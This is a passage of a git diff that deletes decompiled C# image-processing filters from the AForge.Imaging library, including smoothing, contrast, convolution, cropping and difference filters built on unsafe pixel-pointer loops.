(PixelFormat)137224; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)137224; - formatTranslations[(PixelFormat)925707] = (PixelFormat)137224; - } - - protected unsafe override void ProcessFilter(UnmanagedImage sourceData, UnmanagedImage destinationData) - { - blobCounter.ProcessImage(sourceData); - int[] objectLabels = blobCounter.ObjectLabels; - int width = sourceData.Width; - int height = sourceData.Height; - int num = destinationData.Stride - width * 3; - byte* ptr = (byte*)destinationData.ImageData.ToPointer(); - int num2 = 0; - for (int i = 0; i < height; i++) - { - int num3 = 0; - while (num3 < width) - { - if (objectLabels[num2] != 0) - { - Color color = colorTable[(objectLabels[num2] - 1) % colorTable.Length]; - ptr[2] = color.R; - ptr[1] = color.G; - *ptr = color.B; - } - num3++; - ptr += 3; - num2++; - } - ptr += num; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ConservativeSmoothing.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ConservativeSmoothing.cs deleted file mode 100644 index 1b6b138..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ConservativeSmoothing.cs +++ /dev/null @@ -1,183 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class ConservativeSmoothing : BaseUsingCopyPartialFilter -{ - private int size = 3; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public int KernelSize - { - get - { - return size; - } - set - { - size = System.Math.Max(3, System.Math.Min(25, value | 1)); - } - } - - public ConservativeSmoothing() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - } - - public ConservativeSmoothing(int size) - : this() - { - KernelSize = size; - } - - protected unsafe override void ProcessFilter(UnmanagedImage source, UnmanagedImage destination, Rectangle rect) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_00a6: Unknown result type (might be due to invalid IL or missing references) - //IL_00b0: Invalid comparison between Unknown and I4 - int num = Image.GetPixelFormatSize(source.PixelFormat) / 8; - int left = rect.Left; - int top = rect.Top; - int num2 = left + rect.Width; - int num3 = top + rect.Height; - int stride = source.Stride; - int stride2 = destination.Stride; - int num4 = stride - rect.Width * num; - int num5 = stride2 - rect.Width * num; - int num6 = size >> 1; - byte* ptr = (byte*)source.ImageData.ToPointer(); - byte* ptr2 = (byte*)destination.ImageData.ToPointer(); - ptr += top * stride + left * num; - ptr2 += top * stride2 + left * num; - if ((int)destination.PixelFormat == 198659) - { - for (int i = top; i < num3; i++) - { - int num7 = left; - while (num7 < num2) - { - byte b = byte.MaxValue; - byte b2 = 0; - byte b3; - for (int j = -num6; j <= num6; j++) - { - int num8 = i + j; - if (num8 < top) - { - continue; - } - if (num8 >= num3) - { - break; - } - for (int k = -num6; k <= num6; k++) - { - num8 = num7 + k; - if (num8 >= left && j != k && num8 < num2) - { - b3 = ptr[j * stride + k]; - if (b3 < b) - { - b = b3; - } - if (b3 > b2) - { - b2 = b3; - } - } - } - } - b3 = *ptr; - *ptr2 = ((b3 > b2) ? b2 : ((b3 < b) ? b : b3)); - num7++; - ptr++; - ptr2++; - } - ptr += num4; - ptr2 += num5; - } - return; - } - for (int l = top; l < num3; l++) - { - int num9 = left; - while (num9 < num2) - { - byte b; - byte b5; - byte b4 = (b = (b5 = byte.MaxValue)); - byte b2; - byte b7; - byte b6 = (b2 = (b7 = 0)); - byte b3; - for (int j = -num6; j <= num6; j++) - { - int num8 = l + j; - if (num8 < top) - { - continue; - } - if (num8 >= num3) - { - break; - } - for (int k = -num6; k <= num6; k++) - { - num8 = num9 + k; - if (num8 >= left && j != k && num8 < num2) - { - byte* ptr3 = ptr + (j * stride + k * num); - b3 = ptr3[2]; - if (b3 < b4) - { - b4 = b3; - } - if (b3 > b6) - { - b6 = b3; - } - b3 = ptr3[1]; - if (b3 < b) - { - b = b3; - } - if (b3 > b2) - { - b2 = b3; - } - b3 = *ptr3; - if (b3 < b5) - { - b5 = b3; - } - if (b3 > b7) - { - b7 = b3; - } - } - } - } - b3 = ptr[2]; - ptr2[2] = ((b3 > b6) ? b6 : ((b3 < b4) ? b4 : b3)); - b3 = ptr[1]; - ptr2[1] = ((b3 > b2) ? b2 : ((b3 < b) ? b : b3)); - b3 = *ptr; - *ptr2 = ((b3 > b7) ? b7 : ((b3 < b5) ? b5 : b3)); - num9++; - ptr += num; - ptr2 += num; - } - ptr += num4; - ptr2 += num5; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ContrastCorrection.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ContrastCorrection.cs deleted file mode 100644 index 02450af..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ContrastCorrection.cs +++ /dev/null @@ -1,76 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class ContrastCorrection : BaseInPlacePartialFilter -{ - private LevelsLinear baseFilter = new LevelsLinear(); - - private int factor; - - public int Factor - { - get - { - return factor; - } - set - { - factor = System.Math.Max(-127, System.Math.Min(127, value)); - if (factor > 0) - { - LevelsLinear levelsLinear = baseFilter; - LevelsLinear levelsLinear2 = baseFilter; - LevelsLinear levelsLinear3 = baseFilter; - IntRange intRange = (baseFilter.InGray = new IntRange(factor, 255 - factor)); - IntRange intRange3 = (levelsLinear3.InBlue = intRange); - IntRange inRed = (levelsLinear2.InGreen = intRange3); - levelsLinear.InRed = inRed; - LevelsLinear levelsLinear4 = baseFilter; - LevelsLinear levelsLinear5 = baseFilter; - LevelsLinear levelsLinear6 = baseFilter; - IntRange intRange6 = (baseFilter.OutGray = new IntRange(0, 255)); - IntRange intRange8 = (levelsLinear6.OutBlue = intRange6); - IntRange outRed = (levelsLinear5.OutGreen = intRange8); - levelsLinear4.OutRed = outRed; - } - else - { - LevelsLinear levelsLinear7 = baseFilter; - LevelsLinear levelsLinear8 = baseFilter; - LevelsLinear levelsLinear9 = baseFilter; - IntRange intRange11 = (baseFilter.OutGray = new IntRange(-factor, 255 + factor)); - IntRange intRange13 = (levelsLinear9.OutBlue = intRange11); - IntRange outRed2 = (levelsLinear8.OutGreen = intRange13); - levelsLinear7.OutRed = outRed2; - LevelsLinear levelsLinear10 = baseFilter; - LevelsLinear levelsLinear11 = baseFilter; - LevelsLinear levelsLinear12 = baseFilter; - IntRange intRange16 = (baseFilter.InGray = new IntRange(0, 255)); - IntRange intRange18 = (levelsLinear12.InBlue = intRange16); - IntRange inRed2 = (levelsLinear11.InGreen = intRange18); - levelsLinear10.InRed = inRed2; - } - } - } - - public override Dictionary FormatTranslations => baseFilter.FormatTranslations; - - public ContrastCorrection() - { - Factor = 10; - } - - public ContrastCorrection(int factor) - { - Factor = factor; - } - - protected override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - baseFilter.ApplyInPlace(image, rect); - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ContrastStretch.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ContrastStretch.cs deleted file mode 100644 index b89c479..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ContrastStretch.cs +++ /dev/null @@ -1,113 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class ContrastStretch : BaseInPlacePartialFilter -{ - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public ContrastStretch() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_0062: Unknown result type (might be due to invalid IL or missing references) - //IL_006c: Invalid comparison between Unknown and I4 - int num = Image.GetPixelFormatSize(image.PixelFormat) / 8; - int left = rect.Left; - int top = rect.Top; - int num2 = left + rect.Width; - int num3 = top + rect.Height; - int stride = image.Stride; - int num4 = stride - rect.Width * num; - LevelsLinear levelsLinear = new LevelsLinear(); - byte* ptr = (byte*)image.ImageData.ToPointer(); - if ((int)image.PixelFormat == 198659) - { - ptr += top * stride + left; - byte b = byte.MaxValue; - byte b2 = 0; - for (int i = top; i < num3; i++) - { - int num5 = left; - while (num5 < num2) - { - byte b3 = *ptr; - if (b3 < b) - { - b = b3; - } - if (b3 > b2) - { - b2 = b3; - } - num5++; - ptr++; - } - ptr += num4; - } - levelsLinear.InGray = new IntRange(b, b2); - } - else - { - ptr += top * stride + left * num; - byte b4 = byte.MaxValue; - byte b5 = byte.MaxValue; - byte b6 = byte.MaxValue; - byte b7 = 0; - byte b8 = 0; - byte b9 = 0; - for (int j = top; j < num3; j++) - { - int num6 = left; - while (num6 < num2) - { - byte b10 = ptr[2]; - if (b10 < b4) - { - b4 = b10; - } - if (b10 > b7) - { - b7 = b10; - } - b10 = ptr[1]; - if (b10 < b5) - { - b5 = b10; - } - if (b10 > b8) - { - b8 = b10; - } - b10 = *ptr; - if (b10 < b6) - { - b6 = b10; - } - if (b10 > b9) - { - b9 = b10; - } - num6++; - ptr += num; - } - ptr += num4; - } - levelsLinear.InRed = new IntRange(b4, b7); - levelsLinear.InGreen = new IntRange(b5, b8); - levelsLinear.InBlue = new IntRange(b6, b9); - } - levelsLinear.ApplyInPlace(image, rect); - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Convolution.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Convolution.cs deleted file mode 100644 index 2b1ff09..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Convolution.cs +++ /dev/null @@ -1,614 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class Convolution : BaseUsingCopyPartialFilter -{ - private int[,] kernel; - - private int divisor = 1; - - private int threshold; - - private int size; - - private bool dynamicDivisorForEdges = true; - - private bool processAlpha; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public int[,] Kernel - { - get - { - return kernel; - } - set - { - int length = value.GetLength(0); - if (length != value.GetLength(1) || length < 3 || length > 99 || length % 2 == 0) - { - throw new ArgumentException("Invalid kernel size."); - } - kernel = value; - size = length; - } - } - - public int Divisor - { - get - { - return divisor; - } - set - { - if (value == 0) - { - throw new ArgumentException("Divisor can not be equal to zero."); - } - divisor = value; - } - } - - public int Threshold - { - get - { - return threshold; - } - set - { - threshold = value; - } - } - - public bool DynamicDivisorForEdges - { - get - { - return dynamicDivisorForEdges; - } - set - { - dynamicDivisorForEdges = value; - } - } - - public bool ProcessAlpha - { - get - { - return processAlpha; - } - set - { - processAlpha = value; - } - } - - protected Convolution() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)1052676] = (PixelFormat)1052676; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - formatTranslations[(PixelFormat)1060876] = (PixelFormat)1060876; - formatTranslations[(PixelFormat)3424269] = (PixelFormat)3424269; - } - - public Convolution(int[,] kernel) - : this() - { - Kernel = kernel; - divisor = 0; - int i = 0; - for (int length = kernel.GetLength(0); i < length; i++) - { - int j = 0; - for (int length2 = kernel.GetLength(1); j < length2; j++) - { - divisor += kernel[i, j]; - } - } - if (divisor == 0) - { - divisor = 1; - } - } - - public Convolution(int[,] kernel, int divisor) - : this() - { - Kernel = kernel; - Divisor = divisor; - } - - protected unsafe override void ProcessFilter(UnmanagedImage source, UnmanagedImage destination, Rectangle rect) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_015c: Unknown result type (might be due to invalid IL or missing references) - //IL_0166: Invalid comparison between Unknown and I4 - //IL_00aa: Unknown result type (might be due to invalid IL or missing references) - //IL_00b4: Invalid comparison between Unknown and I4 - int num = Image.GetPixelFormatSize(source.PixelFormat) / 8; - int left = rect.Left; - int top = rect.Top; - int stopX = left + rect.Width; - int stopY = top + rect.Height; - if (num <= 4 && num != 2) - { - int stride = source.Stride; - int stride2 = destination.Stride; - int srcOffset = stride - rect.Width * num; - int dstOffset = stride2 - rect.Width * num; - byte* ptr = (byte*)source.ImageData.ToPointer(); - byte* ptr2 = (byte*)destination.ImageData.ToPointer(); - ptr += top * stride + left * num; - ptr2 += top * stride2 + left * num; - if ((int)destination.PixelFormat == 198659) - { - Process8bppImage(ptr, ptr2, stride, stride2, srcOffset, dstOffset, left, top, stopX, stopY); - } - else if (num == 3 || !processAlpha) - { - Process24bppImage(ptr, ptr2, stride, stride2, srcOffset, dstOffset, left, top, stopX, stopY, num); - } - else - { - Process32bppImage(ptr, ptr2, stride, stride2, srcOffset, dstOffset, left, top, stopX, stopY); - } - } - else - { - num /= 2; - int dstStride = destination.Stride / 2; - int srcStride = source.Stride / 2; - ushort* ptr3 = (ushort*)source.ImageData.ToPointer(); - ushort* ptr4 = (ushort*)destination.ImageData.ToPointer(); - ptr3 += left * num; - ptr4 += left * num; - if ((int)source.PixelFormat == 1052676) - { - Process16bppImage(ptr3, ptr4, srcStride, dstStride, left, top, stopX, stopY); - } - else if (num == 3 || !processAlpha) - { - Process48bppImage(ptr3, ptr4, srcStride, dstStride, left, top, stopX, stopY, num); - } - else - { - Process64bppImage(ptr3, ptr4, srcStride, dstStride, left, top, stopX, stopY); - } - } - } - - private unsafe void Process8bppImage(byte* src, byte* dst, int srcStride, int dstStride, int srcOffset, int dstOffset, int startX, int startY, int stopX, int stopY) - { - int num = size >> 1; - int num2 = size * size; - for (int i = startY; i < stopY; i++) - { - int num3 = startX; - while (num3 < stopX) - { - long num5; - int num6; - long num4 = (num5 = (num6 = 0)); - for (int j = 0; j < size; j++) - { - int num7 = j - num; - int num8 = i + num7; - if (num8 < startY) - { - continue; - } - if (num8 >= stopY) - { - break; - } - for (int k = 0; k < size; k++) - { - int num9 = k - num; - num8 = num3 + num9; - if (num8 >= startX && num8 < stopX) - { - int num10 = kernel[j, k]; - num5 += num10; - num4 += num10 * src[num7 * srcStride + num9]; - num6++; - } - } - } - if (num6 == num2) - { - num5 = divisor; - } - else if (!dynamicDivisorForEdges) - { - num5 = divisor; - } - if (num5 != 0) - { - num4 /= num5; - } - num4 += threshold; - *dst = (byte)((num4 > 255) ? 255 : ((num4 < 0) ? 0 : num4)); - num3++; - src++; - dst++; - } - src += srcOffset; - dst += dstOffset; - } - } - - private unsafe void Process24bppImage(byte* src, byte* dst, int srcStride, int dstStride, int srcOffset, int dstOffset, int startX, int startY, int stopX, int stopY, int pixelSize) - { - int num = size >> 1; - int num2 = size * size; - for (int i = startY; i < stopY; i++) - { - int num3 = startX; - while (num3 < stopX) - { - long num7; - int num8; - long num5; - long num6; - long num4 = (num5 = (num6 = (num7 = (num8 = 0)))); - for (int j = 0; j < size; j++) - { - int num9 = j - num; - int num10 = i + num9; - if (num10 < startY) - { - continue; - } - if (num10 >= stopY) - { - break; - } - for (int k = 0; k < size; k++) - { - int num11 = k - num; - num10 = num3 + num11; - if (num10 >= startX && num10 < stopX) - { - int num12 = kernel[j, k]; - byte* ptr = src + (num9 * srcStride + num11 * pixelSize); - num7 += num12; - num4 += num12 * ptr[2]; - num5 += num12 * ptr[1]; - num6 += num12 * *ptr; - num8++; - } - } - } - if (num8 == num2) - { - num7 = divisor; - } - else if (!dynamicDivisorForEdges) - { - num7 = divisor; - } - if (num7 != 0) - { - num4 /= num7; - num5 /= num7; - num6 /= num7; - } - num4 += threshold; - num5 += threshold; - num6 += threshold; - dst[2] = (byte)((num4 > 255) ? 255 : ((num4 < 0) ? 0 : num4)); - dst[1] = (byte)((num5 > 255) ? 255 : ((num5 < 0) ? 0 : num5)); - *dst = (byte)((num6 > 255) ? 255 : ((num6 < 0) ? 0 : num6)); - if (pixelSize == 4) - { - dst[3] = src[3]; - } - num3++; - src += pixelSize; - dst += pixelSize; - } - src += srcOffset; - dst += dstOffset; - } - } - - private unsafe void Process32bppImage(byte* src, byte* dst, int srcStride, int dstStride, int srcOffset, int dstOffset, int startX, int startY, int stopX, int stopY) - { - int num = size >> 1; - int num2 = size * size; - for (int i = startY; i < stopY; i++) - { - int num3 = startX; - while (num3 < stopX) - { - long num8; - int num9; - long num5; - long num6; - long num7; - long num4 = (num5 = (num6 = (num7 = (num8 = (num9 = 0))))); - for (int j = 0; j < size; j++) - { - int num10 = j - num; - int num11 = i + num10; - if (num11 < startY) - { - continue; - } - if (num11 >= stopY) - { - break; - } - for (int k = 0; k < size; k++) - { - int num12 = k - num; - num11 = num3 + num12; - if (num11 >= startX && num11 < stopX) - { - int num13 = kernel[j, k]; - byte* ptr = src + (num10 * srcStride + num12 * 4); - num8 += num13; - num4 += num13 * ptr[2]; - num5 += num13 * ptr[1]; - num6 += num13 * *ptr; - num7 += num13 * ptr[3]; - num9++; - } - } - } - if (num9 == num2) - { - num8 = divisor; - } - else if (!dynamicDivisorForEdges) - { - num8 = divisor; - } - if (num8 != 0) - { - num4 /= num8; - num5 /= num8; - num6 /= num8; - num7 /= num8; - } - num4 += threshold; - num5 += threshold; - num6 += threshold; - num7 += threshold; - dst[2] = (byte)((num4 > 255) ? 255 : ((num4 < 0) ? 0 : num4)); - dst[1] = (byte)((num5 > 255) ? 255 : ((num5 < 0) ? 0 : num5)); - *dst = (byte)((num6 > 255) ? 255 : ((num6 < 0) ? 0 : num6)); - dst[3] = (byte)((num7 > 255) ? 255 : ((num7 < 0) ? 0 : num7)); - num3++; - src += 4; - dst += 4; - } - src += srcOffset; - dst += dstOffset; - } - } - - private unsafe void Process16bppImage(ushort* baseSrc, ushort* baseDst, int srcStride, int dstStride, int startX, int startY, int stopX, int stopY) - { - int num = size >> 1; - int num2 = size * size; - for (int i = startY; i < stopY; i++) - { - ushort* ptr = baseSrc + i * srcStride; - ushort* ptr2 = baseDst + i * dstStride; - int num3 = startX; - while (num3 < stopX) - { - long num5; - int num6; - long num4 = (num5 = (num6 = 0)); - for (int j = 0; j < size; j++) - { - int num7 = j - num; - int num8 = i + num7; - if (num8 < startY) - { - continue; - } - if (num8 >= stopY) - { - break; - } - for (int k = 0; k < size; k++) - { - int num9 = k - num; - num8 = num3 + num9; - if (num8 >= startX && num8 < stopX) - { - int num10 = kernel[j, k]; - num5 += num10; - num4 += num10 * ptr[num7 * srcStride + num9]; - num6++; - } - } - } - if (num6 == num2) - { - num5 = divisor; - } - else if (!dynamicDivisorForEdges) - { - num5 = divisor; - } - if (num5 != 0) - { - num4 /= num5; - } - num4 += threshold; - *ptr2 = (ushort)((num4 > 65535) ? 65535 : ((num4 < 0) ? 0 : num4)); - num3++; - ptr++; - ptr2++; - } - } - } - - private unsafe void Process48bppImage(ushort* baseSrc, ushort* baseDst, int srcStride, int dstStride, int startX, int startY, int stopX, int stopY, int pixelSize) - { - int num = size >> 1; - int num2 = size * size; - for (int i = startY; i < stopY; i++) - { - ushort* ptr = baseSrc + i * srcStride; - ushort* ptr2 = baseDst + i * dstStride; - int num3 = startX; - while (num3 < stopX) - { - long num7; - int num8; - long num5; - long num6; - long num4 = (num5 = (num6 = (num7 = (num8 = 0)))); - for (int j = 0; j < size; j++) - { - int num9 = j - num; - int num10 = i + num9; - if (num10 < startY) - { - continue; - } - if (num10 >= stopY) - { - break; - } - for (int k = 0; k < size; k++) - { - int num11 = k - num; - num10 = num3 + num11; - if (num10 >= startX && num10 < stopX) - { - int num12 = kernel[j, k]; - ushort* ptr3 = ptr + (num9 * srcStride + num11 * pixelSize); - num7 += num12; - num4 += num12 * ptr3[2]; - num5 += num12 * ptr3[1]; - num6 += num12 * *ptr3; - num8++; - } - } - } - if (num8 == num2) - { - num7 = divisor; - } - else if (!dynamicDivisorForEdges) - { - num7 = divisor; - } - if (num7 != 0) - { - num4 /= num7; - num5 /= num7; - num6 /= num7; - } - num4 += threshold; - num5 += threshold; - num6 += threshold; - ptr2[2] = (ushort)((num4 > 65535) ? 65535 : ((num4 < 0) ? 0 : num4)); - ptr2[1] = (ushort)((num5 > 65535) ? 65535 : ((num5 < 0) ? 0 : num5)); - *ptr2 = (ushort)((num6 > 65535) ? 65535 : ((num6 < 0) ? 0 : num6)); - if (pixelSize == 4) - { - ptr2[3] = ptr[3]; - } - num3++; - ptr += pixelSize; - ptr2 += pixelSize; - } - } - } - - private unsafe void Process64bppImage(ushort* baseSrc, ushort* baseDst, int srcStride, int dstStride, int startX, int startY, int stopX, int stopY) - { - int num = size >> 1; - int num2 = size * size; - for (int i = startY; i < stopY; i++) - { - ushort* ptr = baseSrc + i * srcStride; - ushort* ptr2 = baseDst + i * dstStride; - int num3 = startX; - while (num3 < stopX) - { - long num8; - int num9; - long num5; - long num6; - long num7; - long num4 = (num5 = (num6 = (num7 = (num8 = (num9 = 0))))); - for (int j = 0; j < size; j++) - { - int num10 = j - num; - int num11 = i + num10; - if (num11 < startY) - { - continue; - } - if (num11 >= stopY) - { - break; - } - for (int k = 0; k < size; k++) - { - int num12 = k - num; - num11 = num3 + num12; - if (num11 >= startX && num11 < stopX) - { - int num13 = kernel[j, k]; - ushort* ptr3 = ptr + (num10 * srcStride + num12 * 4); - num8 += num13; - num4 += num13 * ptr3[2]; - num5 += num13 * ptr3[1]; - num6 += num13 * *ptr3; - num7 += num13 * ptr3[3]; - num9++; - } - } - } - if (num9 == num2) - { - num8 = divisor; - } - else if (!dynamicDivisorForEdges) - { - num8 = divisor; - } - if (num8 != 0) - { - num4 /= num8; - num5 /= num8; - num6 /= num8; - num7 /= num8; - } - num4 += threshold; - num5 += threshold; - num6 += threshold; - num7 += threshold; - ptr2[2] = (ushort)((num4 > 65535) ? 65535 : ((num4 < 0) ? 0 : num4)); - ptr2[1] = (ushort)((num5 > 65535) ? 65535 : ((num5 < 0) ? 0 : num5)); - *ptr2 = (ushort)((num6 > 65535) ? 65535 : ((num6 < 0) ? 0 : num6)); - ptr2[3] = (ushort)((num7 > 65535) ? 65535 : ((num7 < 0) ? 0 : num7)); - num3++; - ptr += 4; - ptr2 += 4; - } - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/CornersMarker.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/CornersMarker.cs deleted file mode 100644 index eeb408c..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/CornersMarker.cs +++ /dev/null @@ -1,64 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class CornersMarker : BaseInPlaceFilter -{ - private Color markerColor = Color.White; - - private ICornersDetector detector; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public Color MarkerColor - { - get - { - return markerColor; - } - set - { - markerColor = value; - } - } - - public ICornersDetector Detector - { - get - { - return detector; - } - set - { - detector = value; - } - } - - public CornersMarker(ICornersDetector detector) - : this(detector, Color.White) - { - } - - public CornersMarker(ICornersDetector detector, Color markerColor) - { - this.detector = detector; - this.markerColor = markerColor; - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - } - - protected override void ProcessFilter(UnmanagedImage image) - { - List list = detector.ProcessImage(image); - foreach (IntPoint item in list) - { - Drawing.FillRectangle(image, new Rectangle(item.X - 1, item.Y - 1, 3, 3), markerColor); - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Crop.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Crop.cs deleted file mode 100644 index f689c24..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Crop.cs +++ /dev/null @@ -1,74 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class Crop : BaseTransformationFilter -{ - private Rectangle rect; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public Rectangle Rectangle - { - get - { - return rect; - } - set - { - rect = value; - } - } - - public Crop(Rectangle rect) - { - this.rect = rect; - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - formatTranslations[(PixelFormat)1052676] = (PixelFormat)1052676; - formatTranslations[(PixelFormat)1060876] = (PixelFormat)1060876; - formatTranslations[(PixelFormat)3424269] = (PixelFormat)3424269; - } - - protected override Size CalculateNewImageSize(UnmanagedImage sourceData) - { - return new Size(rect.Width, rect.Height); - } - - protected unsafe override void ProcessFilter(UnmanagedImage sourceData, UnmanagedImage destinationData) - { - //IL_0055: Unknown result type (might be due to invalid IL or missing references) - Rectangle rectangle = rect; - rectangle.Intersect(new Rectangle(0, 0, sourceData.Width, sourceData.Height)); - int left = rectangle.Left; - int top = rectangle.Top; - int num = rectangle.Bottom - 1; - int width = rectangle.Width; - int stride = sourceData.Stride; - int stride2 = destinationData.Stride; - int num2 = Image.GetPixelFormatSize(sourceData.PixelFormat) / 8; - int count = width * num2; - byte* ptr = (byte*)sourceData.ImageData.ToPointer() + (nint)top * (nint)stride + (nint)left * (nint)num2; - byte* ptr2 = (byte*)destinationData.ImageData.ToPointer(); - if (rect.Top < 0) - { - ptr2 -= (nint)stride2 * (nint)rect.Top; - } - if (rect.Left < 0) - { - ptr2 -= (nint)num2 * (nint)rect.Left; - } - for (int i = top; i <= num; i++) - { - SystemTools.CopyUnmanagedMemory(ptr2, ptr, count); - ptr += stride; - ptr2 += stride2; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Difference.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Difference.cs deleted file mode 100644 index cf8dc2b..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Difference.cs +++ /dev/null @@ -1,109 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public sealed class Difference : BaseInPlaceFilter2 -{ - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public Difference() - { - InitFormatTranslations(); - } - - public Difference(Bitmap overlayImage) - : base(overlayImage) - { - InitFormatTranslations(); - } - - public Difference(UnmanagedImage unmanagedOverlayImage) - : base(unmanagedOverlayImage) - { - InitFormatTranslations(); - } - - private void InitFormatTranslations() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - formatTranslations[(PixelFormat)1052676] = (PixelFormat)1052676; - formatTranslations[(PixelFormat)1060876] = (PixelFormat)1060876; - formatTranslations[(PixelFormat)3424269] = (PixelFormat)3424269; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, UnmanagedImage overlay) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_0006: Unknown result type (might be due to invalid IL or missing references) - //IL_0015: Unknown result type (might be due to invalid IL or missing references) - //IL_001b: Invalid comparison between Unknown and I4 - //IL_0038: Unknown result type (might be due to invalid IL or missing references) - //IL_003e: Invalid comparison between Unknown and I4 - //IL_001d: Unknown result type (might be due to invalid IL or missing references) - //IL_0023: Invalid comparison between Unknown and I4 - //IL_0040: Unknown result type (might be due to invalid IL or missing references) - //IL_0046: Invalid comparison between Unknown and I4 - //IL_0025: Unknown result type (might be due to invalid IL or missing references) - //IL_002b: Invalid comparison between Unknown and I4 - //IL_002d: Unknown result type (might be due to invalid IL or missing references) - //IL_0033: Invalid comparison between Unknown and I4 - //IL_00e3: Unknown result type (might be due to invalid IL or missing references) - //IL_00e9: Invalid comparison between Unknown and I4 - //IL_00eb: Unknown result type (might be due to invalid IL or missing references) - //IL_00f1: Invalid comparison between Unknown and I4 - PixelFormat pixelFormat = image.PixelFormat; - int width = image.Width; - int height = image.Height; - if ((int)pixelFormat == 198659 || (int)pixelFormat == 137224 || (int)pixelFormat == 139273 || (int)pixelFormat == 2498570) - { - int num = (((int)pixelFormat == 198659) ? 1 : (((int)pixelFormat == 137224) ? 3 : 4)); - int num2 = width * num; - int num3 = image.Stride - num2; - int num4 = overlay.Stride - num2; - byte* ptr = (byte*)image.ImageData.ToPointer(); - byte* ptr2 = (byte*)overlay.ImageData.ToPointer(); - for (int i = 0; i < height; i++) - { - int num5 = 0; - while (num5 < num2) - { - int num6 = *ptr - *ptr2; - *ptr = ((num6 < 0) ? ((byte)(-num6)) : ((byte)num6)); - num5++; - ptr++; - ptr2++; - } - ptr += num3; - ptr2 += num4; - } - return; - } - int num7 = (((int)pixelFormat == 1052676) ? 1 : (((int)pixelFormat == 1060876) ? 3 : 4)); - int num8 = width * num7; - int stride = image.Stride; - int stride2 = overlay.Stride; - byte* ptr3 = (byte*)image.ImageData.ToPointer(); - byte* ptr4 